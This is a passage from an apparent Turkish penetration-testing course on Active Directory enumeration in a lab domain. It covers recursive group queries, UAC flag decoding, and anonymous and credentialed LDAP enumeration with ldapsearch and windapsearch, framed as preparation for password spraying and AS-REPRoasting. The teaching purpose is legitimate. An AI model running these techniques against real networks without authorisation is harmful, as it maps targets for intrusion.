Operations,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=LAPS
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL...}
Nadiren de olsa, bazen şifresi olmayan hesaplarla karşılaşılabilir, bu nedenle PASSWD_NOTREQD
bayrağı ayarlanmış hesapları her zaman incelemek ve gerçekten şifrelerinin olup olmadığını
kontrol etmek önemlidir. Bu durum, bilerek (belki zaman kazanmak amacıyla) ya da
yanlışlıkla, bu bayrağa sahip bir kullanıcının komut satırı üzerinden şifresini değiştirirken
şifreyi yazmadan önce Enter tuşuna basması sonucu oluşabilir. Tüm organizasyonlar,
periyodik hesap denetimleri yapmalı ve geçerli bir iş nedeni bulunmayan hesaplardan bu
bayrağı kaldırmalıdır.
Kendi filtrelerinizi oluşturmayı deneyin. Bu kılavuz Active Directory: LDAP Syntax Filters
harika bir başlangıç noktasıdır.
Recursive Match
“ RecursiveMatch “ parametresini, ‘ 1.2.840.113556.1.4.1941 ’ eşleştirme kuralı OID'sini
kullandığımıza benzer şekilde kullanabiliriz. Bunun iyi bir örneği, bir AD kullanıcısının hem
doğrudan hem de dolaylı olarak parçası olduğu tüm grupları bulmaktır. Bu aynı zamanda “
nested group membership” (iç içe grup üyeliği) olarak da bilinir. Örneğin, bob.smith
kullanıcısı Domain Admins grubunun doğrudan bir üyesi olmayabilir ancak Security
Operations grubu Domain Admins grubunun bir üyesi olduğu için dolaylı Domain Admin
right'larına sahiptir. Bunu grafiksel olarak Active Directory Computers and Users 'a bakarak
görebiliriz.
Bunu PowerShell ile birkaç şekilde numaralandırabiliriz, bir yol “ GetADGroupMember ”
cmdlet'idir.
PowerShell - Security Operations Üyeleri
PS C:\htb> Get-ADGroupMember -Identity "Security Operations"
distinguishedName : CN=Harry Jones,OU=Network
Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
name : Harry Jones
objectClass : user
objectGUID : f6d9b03e-7056-478b-a737-6c3298d18b9d
SamAccountName : harry.jones
SID : S-1-5-21-2974783224-3764228556-2640795941-2040
Yukarıda gördüğümüz gibi, Security Operations grubu gerçekten de Domain Admins
grubunun içinde “” nested “” olarak yer almaktadır. Bu nedenle, üyelerinden herhangi biri etkin
bir şekilde Domain Admins'tir.
Get-ADUser kullanarak memberof attribute'ine odaklanarak bir kullanıcının grup üyeliğini
aramak bu bilgiyi doğrudan göstermeyecektir
PowerShell - User's Group Membership
PS C:\htb> Get-ADUser -Identity harry.jones -Properties * | Select-Object memberof |
Format-Table -Wrap
memberof
--------
{CN=Network Team,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=Help Desk,OU=Microsoft
Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL, CN=Security
Operations,CN=Users,DC=INLANEFREIGHT,DC=LOCAL, CN=LAPS
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL...}
Aşağıdaki örneklerde görüldüğü gibi, eşleşen kural OID'si ve RecursiveMatch parametresiyle
nested grup üyeliğini bulabiliriz. İlk örnekte, harry.jones kullanıcısının üyesi olduğu tüm
grupları recursive olarak sorgulamak için bir AD filtresi ve RecursiveMatch gösterilmektedir.
PowerShell - All Groups of User
PS C:\htb> Get-ADGroup -Filter 'member -RecursiveMatch "CN=Harry Jones,OU=Network
Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL"' | Select-Object name
name
----
Administrators
Backup Operators
Domain Admins
Denied RODC Password Replication Group
LAPS Admins
Security Operations
Help Desk
Network Team
Aynı bilgiyi döndürmenin başka bir yolu da bir LDAPFilter ve eşleşen kural OID'sini
kullanmaktır.
LDAP Query - All Groups of User
PS C:\htb> Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=Harry
Jones,OU=Network Ops,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL)' | Select-Object
Name
Name
----
Administrators
Backup Operators
Domain Admins
Denied RODC Password Replication Group
LAPS Admins
Security Operations
Help Desk
Network Team
Yukarıdaki örneklerde gösterildiği gibi, AD'de recursively arama yapmak, standart arama
sorgularının göstermediği bilgileri numaralandırmamıza yardımcı olabilir. Nested grup
üyeliğinin Enumerating edilmesi çok önemlidir. Hedef içindeki ciddi yanlış yapılandırmaları
ortaya çıkarabiliriz
AD ortamında, özellikle de AD'de binlerce object bulunan büyük kuruluşlarda, fark
edilmeyebilir. Bu bilgileri numaralandırmanın başka yollarını ve hatta grafik biçiminde
sunmanın yollarını göreceğiz, ancak RecursiveMatch göz ardı edilmemesi gereken güçlü bir
arama parametresidir.
SearchBase ve SearchScope Parametreleri
Küçük Active Directory ortamları bile yüzlerce, hatta binlerce object içerebilir. Active
Directory, kullanıcılar, gruplar, bilgisayarlar, OU'lar vb. eklendikçe ve ACL'ler yapılandırıldıkça
hızla büyüyebilir, bu da giderek daha karmaşık bir ilişki ağı oluşturur. Ayrıca, 10-20 yıl
öncesine dayanan, on binlerce object'e sahip büyük bir ortamla karşılaşabiliriz. Bu tür
ortamları incelemek zorlu bir görev haline gelebilir, bu nedenle aramalarımızı daraltmamız
gerekir.
Arama komutlarımızın ve scripts'lerimizin performansını artırabilir ve döndürülen object
sayısını azaltabiliriz, aramalarımızı " SearchBase " parametresiyle sınırlayarak. Bu parametre,
altındaki Active Directory yolunu belirtir ve belirli bir OU içinde bir kullanıcı hesabı aramaya
başlamamıza olanak tanır. " SearchBase " parametresi,
" OU=Employees,DC=INLANEFREIGHT,DC=LOCAL " gibi bir OU'nun ayırt edici adını (DN) kabul eder.
" SearchScope ", aramanın OU hiyerarşisinde ne kadar derine inmek istediğimizi
tanımlamamıza olanak tanır. Bu parametre üç seviyeye sahiptir:
İsim Seviye Açıklama
Base 0 SearchBase olarak belirtilen object'ı arar. Örneğin, bir OU'daki tüm
kullanıcıları base kapsamıyla sorgularsak sonuç alamayız. Eğer bir kullanıcı
belirtir veya Get-ADObject kullanırsak, sadece o kullanıcı veya object
döndürülür.
OneLevel 1 SearchBase tarafından tanımlanan konteynerdeki object'ları arar, ancak sub-
konteynerlerdeki object'ları aramaz.
SubTree 2 SearchBase tarafından tanımlanan konteynerdeki ve tüm sub-
konteynerlerdeki object'ları arar, sub-konteynerlerin childları da içerecek
şekilde AD hiyerarşisinde rekürsif olarak aşağı doğru arama yapar.
AD'yi “ SearchScope ‘ kullanarak sorgularken adı veya sayıyı belirtebiliriz (örneğin,
SearchScope Onelevel ’ SearchScope 1 ” ile aynı şekilde yorumlanır).
Yukarıdaki örnekte, SearchBase OU=Employees,DC=INLANEFREIGHT,DC=LOCAL olarak
ayarlandığında, Base olarak ayarlanan bir SearchScope OU object'inin ( Employees ) kendisini
sorgulamaya çalışacaktır. OneLevel olarak ayarlanan bir SearchScope yalnızca Employees OU
içinde arama yapar. Son olarak, SubTree olarak ayarlanmış bir SearchScope , Employees
OU'sunu ve altındaki Accounting , Contractors , vb. gibi tüm OU'ları sorgulayacaktır. Bu
OU'ların altındaki OU'lar (child containers)
SearchBase ve Searching Scope Parametreleri Örnekleri
Base , OneLevel ve Subtree arasındaki farkı göstermek için bazı örneklere bakalım. Bu
örnekler için Employees OU'ya odaklanacağız. Aşağıdaki Active Directory Kullanıcıları ve
Bilgisayarları ekran görüntüsünde Employees Base 'dir ve Get-ADUser ile belirtilmesi hiçbir
şey döndürmeyecektir. OneLevel sadece Amelia Matthews kullanıcısını döndürür ve SubTree ,
Employees konteyneri altındaki tüm child konteynerlerdeki tüm kullanıcıları döndürür.
Bu sonuçları PowerShell kullanarak doğrulayabiliriz. Referans amacıyla, 970 kullanıcı
gösteren Employees OU altındaki tüm AD kullanıcılarının bir sayısını alalım.
PowerShell - Tüm AD Kullanıcılarının Sayısı
PS C:\htb> (Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -Filter
*).count
970
Beklendiği gibi, SearchScope'un Base olarak belirtilmesi hiçbir şey döndürmeyecektir.
PowerShell - SearchScope Base
PS C:\htb> Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -
SearchScope Base -Filter *
PS C:\htb>
Ancak, “ Get-ADObjec t ‘ ile ’ Base ” belirtirsek, bize yalnızca object (Employees OU)
döndürülür.
PowerShell - SearchScope Base OU Object
PS C:\htb> Get-ADObject -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -
SearchScope Base -Filter *
DistinguishedName: OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
Name: Employees
ObjectClass: organizationalUnit
ObjectGUID: 34f42767-8a2e-493f-afc6-556bdc0b1087
SearchScope olarak OneLevel belirtirsek, yukarıdaki resimde beklendiği gibi bize bir kullanıcı
döndürülür.
PowerShell - Searchscope OneLevel
PS C:\htb> Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL"
-SearchScope OneLevel -Filter *
DistinguishedName : CN=Amelia
Matthews,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
Enabled : True
GivenName : amelia
Name : Amelia Matthews
ObjectClass : user
ObjectGUID : 3f04328f-eb2e-487c-85fe-58dd598159c0
SamAccountName : amelia.matthews
SID : S-1-5-21-2974783224-3764228556-2640795941-1412
Surname : matthews
UserPrincipalName : amelia.matthews@inlanefreight
Yukarıda belirtildiği gibi, SearchScope değerleri birbirinin yerine kullanılabilir, bu nedenle
SearchScope değeri olarak 1 belirtildiğinde aynı sonuç döndürülür.
PowerShell - Searchscope 1
PS C:\htb> Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL"
-SearchScope 1 -Filter *
DistinguishedName : CN=Amelia
Matthews,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
Enabled : True
GivenName : amelia
Name : Amelia Matthews
ObjectClass : user
ObjectGUID : 3f04328f-eb2e-487c-85fe-58dd598159c0
SamAccountName : amelia.matthews
SID : S-1-5-21-2974783224-3764228556-2640795941-1412
Surname : matthews
UserPrincipalName : amelia.matthews@inlanefreight
Son olarak, SearchBase olarak Subtree 'yi belirtirsek, yukarıda belirlediğimiz kullanıcı
sayısıyla eşleşen tüm child container'lardaki tüm object'leri alırız.
PowerShell - Searchscope Subtree
PS C:\htb> (Get-ADUser -SearchBase "OU=Employees,DC=INLANEFREIGHT,DC=LOCAL" -
SearchScope Subtree -Filter *).count
970
Bu bölüm ve PowerShell Filtreleri bölümü, “living off the land.” enumeration'ımızı geliştirmek
için built-in AD cmdlet'leri ile birlikte search filtrelerini kullanabileceğimiz birçok yolu ele aldı.
Daha sonraki bölümlerde, enumeration'ımızı çok daha hızlı ve kolay hale getiren ve daha da
güçlü olması için filtrelerle birleştirilebilen araçları ele alacağız. Built-in tools, custom scripts
veya third-party tools kullanıyor olsak da, ne yaptıklarını anlamak ve hedefimize ulaşmamıza
yardımcı olması için enumeration'ımızın çıktısını anlayabilmek ve kullanabilmek önemlidir.
Built-in Tools ile Active Directory Enumerating
Doğru enumeration , tüm penetrasyon testleri ve red teaming değerlendirmeleri için kilit
öneme sahiptir. AD'yi, özellikle de çok sayıda host, kullanıcı ve servis içeren büyük kurumsal
ortamları enumeration etmek oldukça göz korkutucu bir görev olabilir ve çok fazla miktarda
veri sağlayabilir. AD'yi enumeration etmek için sysadminler ve pentesterlar tarafından çeşitli
built-in Windows araçları kullanılabilir. Aynı enumeration tekniklerine dayalı olarak açık
kaynak araçları da oluşturulmuştur. Bu araçların birçoğu (SharpView, BloodHound ve
PingCastle gibi) enumeration sürecini hızlandırmak ve verileri doğru bir şekilde işlenebilir bir
formatta sunmak için kullanılabilir. Bir değerlendirmede live of the land yapmanız gerekiyorsa
veya belirli araçlar için tespitler mevcutsa, birden fazla araç ve "offense in-depth" bilgisi
önemlidir.
User-Account-Control (UAC) Attributes
User-Account-Control Attributes, domain hesaplarının davranışını kontrol eder. Bu değerler
Windows User Account Control teknolojisi ile karıştırılmamalıdır. Bu UAC attribute'lerinin
çoğunun güvenlikle ilgisi vardır:
Bu değerleri built-in AD cmdlet'leri ile enumerate edebiliriz:
PowerShell - Built-in AD Cmdlet'leri
PS C:\htb> Get-ADUser -Filter {adminCount -gt 0} -Properties
admincount,useraccountcontrol | Select-Object Name, useraccountcontrol
Name useraccountcontrol
---- ------------------
Administrator 66048
krbtgt 66050
daniel.carter 512
sqlqa 512
svc-backup 66048
svc-secops 66048
cliff.moore 66048
svc-ata 512
svc-sccm 512
mrb3n 512
sarah.lafferty 512
Jenna Smith 4260384
Harry Jones 66080
pixis 512
Cry0l1t3 512
knightmare 512
Yine de useraccountcontrol değerlerini yorumlamak için karşılık gelen bayraklara
dönüştürmemiz gerekir. Bu, bu script ile yapılabilir. Örnek olarak useraccountcontrol değeri
4260384 olan Jenna Smith kullanıcısını ele alalım.
PowerShell - UAC Values
PS C:\htb> .\Convert-UserAccountControlValues.ps1
Please provide the userAccountControl value: : 4260384
Name Value
---- -----
PASSWD_NOTREQD 32
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
DONT_REQ_PREAUTH 4194304
Bu değerleri enumerate etmek için PowerView'i de kullanabiliriz . Bazı kullanıcıların
varsayılan 512 veya Normal_Account değeriyle eşleştiğini, diğerlerinin ise dönüştürülmesi
gerektiğini görebiliriz. jenna.smith için değer, dönüştürme scriptimizin sağladığı değerle
eşleşiyor.
PowerView - Domain Accounts
PS C:\htb> Get-DomainUser * -AdminCount | Select-Object samaccountname,
useraccountcontrol
samaccountname useraccountcontrol
-------------- ------------------
Administrator NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
krbtgt ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
daniel.carter NORMAL_ACCOUNT
sqlqa NORMAL_ACCOUNT
svc-backup NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
svc-secops NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
cliff.moore NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
svc-ata NORMAL_ACCOUNT
svc-sccm NORMAL_ACCOUNT
mrb3n NORMAL_ACCOUNT
sarah.lafferty NORMAL_ACCOUNT
jenna.smith PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
harry.jones PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
pixis NORMAL_ACCOUNT
Cry0l1t3 NORMAL_ACCOUNT
knightmare NORMAL_ACCOUNT
Built-In Tools Kullanarak Enumeration
PowerShell AD Modülü, Sysinternals Suite ve AD DS Araçları gibi sysadmins lerin kendilerinin
kullanması muhtemel araçlar, özellikle daha olgun ortamlarda whitelist'e alınabilir ve radarın
altında kalabilir. AD enumeration için aşağıdakiler de dahil olmak üzere çeşitli built-in
araçlardan yararlanılabilir:
DS Tools tüm modern Windows işletim sistemlerinde varsayılan olarak mevcuttur ancak
enumeration faaliyetlerini gerçekleştirmek için domain bağlantısı gereklidir.
DS Tools
C:\htb> dsquery user "OU=Employees,DC=inlanefreight,DC=local" -name * -scope subtree -
limit 0 | dsget user -samid -pwdneverexpires | findstr /V no
samid pwdneverexpires
svc-backup yes
svc-scan yes
svc-secops yes
sql-test yes
cliff.moore yes
margaret.harris yes
<SNIP>
dsget succeeded
PowerShell Active Directory modülü , Active Directory'yi yönetmek için kullanılan bir grup
cmdlet'tir. AD PowerShell modülünün yüklenmesi administrative access gerektirir.
AD PowerShell Module
PS C:\htb> Get-ADUser -Filter * -SearchBase 'OU=Admin,DC=inlanefreight,DC=local'
DistinguishedName : CN=wilford.stewart,OU=Admin,DC=INLANEFREIGHT,DC=LOCAL
Enabled : True
GivenName :
Name : wilford.stewart
ObjectClass : user
ObjectGUID : 1f54c02c-2fb4-48b6-a89c-38b6b0c54147
SamAccountName : wilford.stewart
SID : S-1-5-21-2974783224-3764228556-2640795941-2121
Surname :
UserPrincipalName :
DistinguishedName : CN=trisha.duran,OU=Admin,DC=INLANEFREIGHT,DC=LOCAL
Enabled : True
GivenName :
Name : trisha.duran
ObjectClass : user
ObjectGUID : 7a8db2bb-7b24-4f79-a3fe-7b49408bc7bf
SamAccountName : trisha.duran
SID : S-1-5-21-2974783224-3764228556-2640795941-2122
Surname :
UserPrincipalName :
<SNIP>
Windows Management Instrumentation (WMI) , Active Directory'deki object'lere erişmek ve
bunları sorgulamak için de kullanılabilir. Birçok script dili WMI AD sağlayıcısı ile etkileşime
girebilir, ancak PowerShell bunu çok kolaylaştırır
Windows Management Instrumentation (WMI)
PS C:\htb> Get-WmiObject -Class win32_group -Filter "Domain='INLANEFREIGHT'" | Select-
Object Caption, Name
Caption Name
------- ----
INLANEFREIGHT\Cert Publishers Cert Publishers
INLANEFREIGHT\RAS and IAS Servers RAS and IAS Servers
INLANEFREIGHT\Allowed RODC Password Replication Group Allowed RODC Password
Replication Group
INLANEFREIGHT\Denied RODC Password Replication Group Denied RODC Password Replication
Group
INLANEFREIGHT\DnsAdmins DnsAdmins
INLANEFREIGHT\$6I2000-MBUUOKUK1E1O $6I2000-MBUUOKUK1E1O
INLANEFREIGHT\Cloneable Domain Controllers Cloneable Domain Controllers
INLANEFREIGHT\Compliance Management Compliance Management
INLANEFREIGHT\Delegated Setup Delegated Setup
INLANEFREIGHT\Discovery Management Discovery Management
INLANEFREIGHT\DnsUpdateProxy DnsUpdateProxy
INLANEFREIGHT\Domain Admins Domain Admins
INLANEFREIGHT\Domain Computers Domain Computers
INLANEFREIGHT\Domain Controllers Domain Controllers
INLANEFREIGHT\Domain Guests Domain Guests
INLANEFREIGHT\Domain Users Domain Users
INLANEFREIGHT\Enterprise Admins Enterprise Admins
INLANEFREIGHT\Enterprise Key Admins Enterprise Key Admins
INLANEFREIGHT\Enterprise Read-only Domain Controllers Enterprise Read-only Domain
Controllers
INLANEFREIGHT\Exchange Servers Exchange Servers
INLANEFREIGHT\Exchange Trusted Subsystem Exchange Trusted Subsystem
INLANEFREIGHT\Exchange Windows Permissions Exchange Windows Permissions
INLANEFREIGHT\ExchangeLegacyInterop ExchangeLegacyInterop
INLANEFREIGHT\Group Policy Creator Owners Group Policy Creator Owners
INLANEFREIGHT\Help Desk Help Desk
INLANEFREIGHT\Hygiene Management Hygiene Management
INLANEFREIGHT\Key Admins Key Admins
INLANEFREIGHT\LAPS Admins LAPS Admins
INLANEFREIGHT\Managed Availability Servers Managed Availability Servers
INLANEFREIGHT\Organization Management Organization Management
INLANEFREIGHT\Protected Users Protected Users
Active Directory Service Interfaces (ADSI), Active Directory'yi sorgulayabilen bir dizi COM
interface'idir. PowerShell yine onunla etkileşim kurmak için kolay bir yol sağlar.
AD Service Interfaces (ADSI)
PS C:\htb> $searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectClass=Computer))"
$searcher.FindAll() | Select-Object -Property Path
Path
----
LDAP://CN=DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
LDAP://CN=EXCHG01,OU=Mail Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL
LDAP://CN=SQL01,OU=SQL Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL
LDAP://CN=WS01,OU=Staff Workstations,OU=Workstations,DC=INLANEFREIGHT,DC=LOCAL
LDAP://CN=DC02,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL
LDAP Anonymous Bind
Lightweight Directory Access Protocol (LDAP), dizin servislerine erişmek için kullanılan bir
protokoldür.
LDAP Anonim Bind'dan Yararlanma
LDAP anonim bind'leri, kimliği doğrulanmamış saldırganların domain'den kullanıcıların,
grupların, bilgisayarların, kullanıcı hesabı attribute'lerinin ve domain password policy'sinin
tam listesi gibi bilgileri almasına izin verir. LDAP'nin açık kaynak sürümlerini çalıştıran Linux
host'ları ve Linux vCenter gereçleri genellikle anonim bağlamalara izin verecek şekilde
yapılandırılır.
Bir LDAP sunucusu anonim base bind'lere izin verdiğinde, bir saldırgan, domain hakkında
oldukça fazla bilgi sorgulamak için bir base object'ı bilmesine gerek duymaz. Bu, bir
password spraying saldırısı düzenlemek ya da hesap açıklama alanlarında saklanan şifreler
gibi bilgileri okumak için de kullanılabilir. windapsearch ve ldapsearch gibi araçlar, anonim
LDAP bind aracılığıyla domain bilgisini keşfetmek için kullanılabilir. Anonim LDAP bind'den
elde edilen bilgiler, password spraying veya AS-REPRoasting saldırısı düzenlemek, hesap
açıklama alanlarında saklanan şifreler gibi bilgileri okumak için kullanılabilir.
Kimlik bilgileri olmadan LDAP ile etkileşime girip giremeyeceğimizi hızlıca kontrol etmek için
Python'u kullanabiliriz.
Python 3.8.5 (default, Aug 2 2020, 15:09:07)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from ldap3 import *
>>> s = Server('10.129.1.207', get_info=ALL)
>>> c = Connection(s, '', '')
>>> c.bind()
True
>>> s.info
DSA info (from DSE):
Supported LDAP versions: 3, 2
Naming contexts:
DC=INLANEFREIGHT,DC=LOCAL
CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL
DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL
Supported controls:
<SNIP>
dnsHostName:
DC01.INLANEFREIGHT.LOCAL
ldapServiceName:
INLANEFREIGHT.LOCAL:[email protected]
serverName:
CN=DC01,CN=Servers,CN=Default-First-
SiteName,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
isSynchronized:
TRUE
isGlobalCatalogReady:
TRUE
domainFunctionality:
7
forestFunctionality:
7
domainControllerFunctionality:
7
Ldapsearch
Anonim LDAP bağlantısını ldapsearch ile onaylayabilir ve tüm AD object'lerini LDAP'tan
alabiliriz.
ldapsearch -H ldap://10.129.1.207 -x -b "dc=inlanefreight,dc=local"
# extended LDIF
#
# LDAPv3
# base <dc=inlanefreight,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# INLANEFREIGHT.LOCAL
dn: DC=INLANEFREIGHT,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=INLANEFREIGHT,DC=LOCAL
instanceType: 5
whenCreated: 20200726201343.0Z
whenChanged: 20200827025341.0Z
subRefs: DC=LOGISTICS,DC=INLANEFREIGHT,DC=LOCAL
subRefs: DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL
subRefs: DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL
subRefs: CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
Windapsearch
Windapsearch , LDAP sorgularını kullanarak AD kullanıcılarının, gruplarının ve bilgisayarlarının
anonim ve kimliği doğrulanmış LDAP enumeration işlemini gerçekleştirmek için kullanılan bir
Python scriptidir. Özel LDAP sorguları oluşturmanızı gerektiren ldapsearch gibi araçlara bir
alternatiftir. LDAP NULL session authentication'ı onaylamak için kullanabiliriz, ancak -u “”
ile empty bir kullanıcı adı sağlayabilir ve domain fonksiyonel seviyesini onaylamak için --
functionality ekleyebiliriz.
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" --functionality
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.1.207
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Functionality Levels:
[+] domainFunctionality: 2016
[+] forestFunctionality: 2016
[+] domainControllerFunctionality: 2016
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[*] Bye!
Password spraying saldırısında kullanmak üzere tüm domain kullanıcılarının bir listesini
çıkarabiliriz
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -U
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.1.207
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 1024 users:
cn: Guest
cn: DefaultAccount
cn: LOGISTICS$
cn: sqldev
cn: sqlprod
cn: svc-scan
<SNIP>
Tüm domain bilgisayarları hakkında bilgi edinebiliriz
python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -C
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.1.207
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD computers
[+] Found 5 computers:
cn: DC01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: DC01.INLANEFREIGHT.LOCAL
cn: EXCHG01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: EXCHG01.INLANEFREIGHT.LOCAL
cn: SQL01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: SQL01.INLANEFREIGHT.LOCAL
cn: WS01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
dNSHostName: WS01.INLANEFREIGHT.LOCAL
cn: DC02
dNSHostName: DC02.INLANEFREIGHT.LOCAL
[*] Bye!
Bu proses grup bilgilerini ve unconstrained users and computers, GPO information, user and
computer attributes ve daha fazlası gibi daha detaylı bilgileri çekmek için tekrarlanabilir.
Other Tools
LDAP'tan bilgi almak için başka birçok araç ve yardımcı script vardır. Bu ldapsearch-ad.py
scripti windapsearch'e benzer.
python3 ldapsearch-ad.py -h
usage: ldapsearch-ad.py [-h] -l LDAP_SERVER [-ssl] -t REQUEST_TYPE [-d DOMAIN] [-u
USERNAME] [-p PASSWORD]
[-s SEARCH_FILTER] [-z SIZE_LIMIT] [-o OUTPUT_FILE] [-v]
[search_attributes [search_attributes ...]]
Active Directory LDAP Enumerator
positional arguments:
search_attributes LDAP attributes to look for (default is all).
optional arguments:
-h, --help Show this help message and exit
-l LDAP_SERVER, --server IP address of the LDAP server
-ssl, --ssl Force an SSL connection?
-t REQUEST_TYPE, --type Request type: info, whoami, search, search-large, trusts,
pass-pols,
show-admins, show-user, show-user-list, kerberoast, all
-d DOMAIN, --domain Authentication account's FQDN. Example: "contoso.local"
-u USERNAME, --username Authentication account's username
-p PASSWORD, --password Authentication account's password
-s SEARCH_FILTER, --search-filter Search filter (use LDAP format)
-z SIZE_LIMIT, --size_limit Size limit (default is 100, or server's own limit)
-o OUTPUT_FILE, --output Write results in specified file too
-v, --verbose Turn on debug mode
Domain bilgilerini çekmek ve bir NULL bind'ı onaylamak için kullanabiliriz. Bu özel araç, ek
enumeration gerçekleştirmek için geçerli domain kullanıcı kimlik bilgileri gerektirir.
python3 ldapsearch-ad.py -l 10.129.1.207 -t info
### Server infos ###
[+] Forest functionality level: Windows 2016
[+] Domain functionality level: Windows 2016
[+] Domain controller functionality level: Windows 2016
[+] rootDomainNamingContext: DC=INLANEFREIGHT,DC=LOCAL
[+] defaultNamingContext: DC=INLANEFREIGHT,DC=LOCAL
[+] ldapServiceName: INLANEFREIGHT.LOCAL:[email protected]
[+] naming_contexts:
- DC=INLANEFREIGHT,DC=LOCAL
- CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
- CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
- DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL
- DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL
Credentialed LDAP Enumeration
SMB'de olduğu gibi, domain kimlik bilgilerine sahip olduğumuzda, LDAP'tan kullanıcı, grup,
bilgisayar, trust, GPO bilgisi, domain password policy, vb. dahil olmak üzere çok çeşitli
bilgileri çıkarabiliriz. ldapsearch-ad.py ve windapsearch bu enumeration işlemini
gerçekleştirmek için kullanışlıdır.
Windapsearch
python3 windapsearch.py --dc-ip 10.129.1.207 -u inlanefreight\\james.cross --da
Password for inlanefreight\james.cross:
[+] Using Domain Controller at: 10.129.1.207
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] u:INLANEFREIGHT\james.cross
[+] Attempting to enumerate all Domain Admins
[+] Using DN: CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+] Found 14 Domain Admins:
cn: Administrator
userPrincipalName: administrator@inlanefreight.local
cn: daniel.carter
cn: sqlqa
cn: svc-backup
cn: svc-secops
cn: cliff.moore
cn: svc-ata
cn: svc-sccm
cn: mrb3n
cn: sarah.lafferty
cn: Harry Jones
userPrincipalName: harry.jones@inlanefreight.local
cn: pixis
cn: Cry0l1t3
cn: knightmare
[+] Using DN: CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[+] Found 14 Domain Admins:
cn: Administrator
userPrincipalName: administrator@inlanefreight.local
cn: daniel.carter
cn: sqlqa
cn: svc-backup
cn: svc-secops
unconstrained delegation ile kullanıcıları ve bilgisayarları çekmek de dahil olmak üzere bazı
ek kullanışlı seçenekler
python3 windapsearch.py --dc-ip 10.129.1.207 -d inlanefreight.local -u
inlanefreight\\james.cross --unconstrained-users
Password for inlanefreight\james.cross:
[+] Using Domain Controller at: 10.129.1.207
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] u:INLANEFREIGHT\james.cross
[+] Attempting to enumerate all user objects with unconstrained delegation
[+] Found 1 Users with unconstrained delegation:
CN=sqldev,OU=Service Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
[*] Bye!
Ldapsearch-ad
Bu araç, tüm standart enumeration işlemlerini ve işleri basitleştirmek için birkaç built-in
